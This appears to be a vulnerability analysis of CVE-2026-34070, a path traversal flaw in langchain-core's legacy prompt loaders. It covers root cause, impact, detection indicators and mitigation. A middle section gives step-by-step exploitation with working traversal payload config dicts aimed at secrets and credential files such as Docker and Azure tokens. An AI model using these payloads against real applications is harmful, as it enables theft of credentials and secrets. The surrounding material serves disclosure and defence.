CVE-2026-34070: 
Python vulnerability analysis and mitigation

CVE-2026-34070 is a path traversal vulnerability (CWE-22) in LangChain's langchain-core package affecting the legacy load_prompt and load_prompt_from_config functions. Prior to version 1.2.22, multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal (..) or absolute path injection. The vulnerability was disclosed on March 26, 2026, and patched the same day in version 1.2.22. It carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, LangChain Security Advisory).

The root cause (CWE-22) lies in three internal functions — _load_template(), _load_examples(), and _load_few_shot_prompt() — within langchain_core/prompts/loading.py, which accept file paths from user-supplied config dicts and read them directly without sanitization. An attacker who can influence the prompt configuration dict passed to load_prompt() or load_prompt_from_config() can supply absolute paths (e.g., /tmp/secret.txt) or traversal sequences (e.g., ../../etc/passwd) as values for config keys such as template_path, suffix_path, prefix_path, examples, or example_prompt_path. The only constraint is a file-extension check: .txt files are readable via template paths, while .json, .yaml, and .yml files are readable via examples paths. The fix introduced a _validate_path() helper that rejects absolute paths and .. components, and added a allow_dangerous_paths=True escape hatch for trusted inputs (LangChain Security Advisory, Patch Commit).

Successful exploitation allows an unauthenticated remote attacker to read arbitrary files on the host filesystem, constrained only by file extension (.txt, .json, .yaml/.yml). Sensitive targets include cloud-mounted secrets (e.g., /mnt/secrets/api_key.txt), cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configuration files, and internal system prompts. This is a confidentiality-only impact with no direct integrity or availability consequences, but disclosed credentials or secrets could enable lateral movement or further compromise of cloud infrastructure (LangChain Security Advisory).

A functional proof-of-concept exploit is publicly available in the LangChain security advisory itself, consisting of standalone Python code that demonstrates file disclosure without requiring network interaction or special setup (LangChain Security Advisory). A GitHub repository (Rickidevs/CVE-2026-34070) also references the vulnerability. The vulnerability requires no authentication, no privileges, and no user interaction, making it trivially exploitable in any application that passes user-controlled prompt configurations to the affected functions. The EPSS score is approximately 0.19% (0.001920), and there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the time of this report (GitHub Advisory). The vulnerability is detectable via Nessus plugin 304816.

1. Identify a vulnerable target: Locate an application using langchain-core < 1.2.22 that accepts user-supplied or externally-influenced prompt configurations and passes them to load_prompt() or load_prompt_from_config(). Common targets include low-code AI builders, API wrappers, and LLM-powered applications.
2. Craft a malicious config dict for absolute path injection: Construct a Python dict with a template_path key pointing to a target .txt file:

config = {
    "_type": "prompt",
    "template_path": "/mnt/secrets/api_key.txt",
    "input_variables": [],
}

3. Craft a traversal payload for relative path injection: Alternatively, use .. sequences to escape the working directory:

config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}

4. Target JSON/YAML files via few-shot examples: To read cloud credentials or config files, use the few_shot type with the examples key:

config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}

5. Submit the config and retrieve file contents: Pass the crafted config to the vulnerable function and read the disclosed file contents from the returned prompt object:

from langchain_core.prompts.loading import load_prompt_from_config
prompt = load_prompt_from_config(config)
print(prompt.template)  # file contents disclosed

(LangChain Security Advisory)

• Logs: Application logs showing calls to load_prompt() or load_prompt_from_config() with config dicts containing template_path, examples, or example_prompt_path values that include absolute paths (starting with /) or .. traversal sequences; Python ValueError exceptions referencing path validation (in patched versions, indicating attempted exploitation).
• File System: Unexpected access timestamps on sensitive files such as /mnt/secrets/*.txt, ~/.docker/config.json, ~/.azure/accessTokens.json, ~/.kube/config, or CI/CD configuration files coinciding with application activity.
• Network: Outbound connections from the application server to attacker-controlled infrastructure shortly after prompt configuration processing, potentially indicating exfiltration of disclosed secrets.
• Process: Unusual Python process activity reading files outside the application's working directory, particularly files with .txt, .json, .yaml, or .yml extensions in sensitive system or user home directories.

Upgrade langchain-core to version 1.2.22 or later, which adds path validation rejecting absolute paths and .. traversal sequences by default (LangChain Release). As a workaround prior to patching, avoid passing user-supplied or untrusted prompt configurations to load_prompt() or load_prompt_from_config(). The patched API introduces an allow_dangerous_paths=True keyword argument for cases where trusted inputs require legacy path behavior. Long-term, migrate from the deprecated legacy APIs (load_prompt, load_prompt_from_config, .save()) to the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. IBM product users (Cloud Pak for AIOps, Cloud Pak for Business Automation, Business Automation Workflow, API Connect, watsonx Orchestrate, and watsonx Code Assistant) should apply the respective IBM security updates (IBM Advisory).

The vulnerability received notable media coverage, with The Hacker News reporting on it alongside related LangGraph flaws under the headline "LangChain/LangGraph Flaws Expose Files, Secrets, Databases in Widely Used AI Frameworks" (The Hacker News). TechRadar covered the broader LangChain security issues, noting that "each vulnerability exposes a different class of enterprise data." Security researchers on dev.to highlighted the vulnerability as part of a cluster of three critical CVEs affecting LangChain, calling for AI agent governance layers. Cyera published a detailed research post titled "LangDrained: 3 Paths to Your Data Through the World's Most Popular AI Framework" (Cyera Research). CSO Online also covered the path traversal bug in the context of broader input validation concerns in AI pipelines.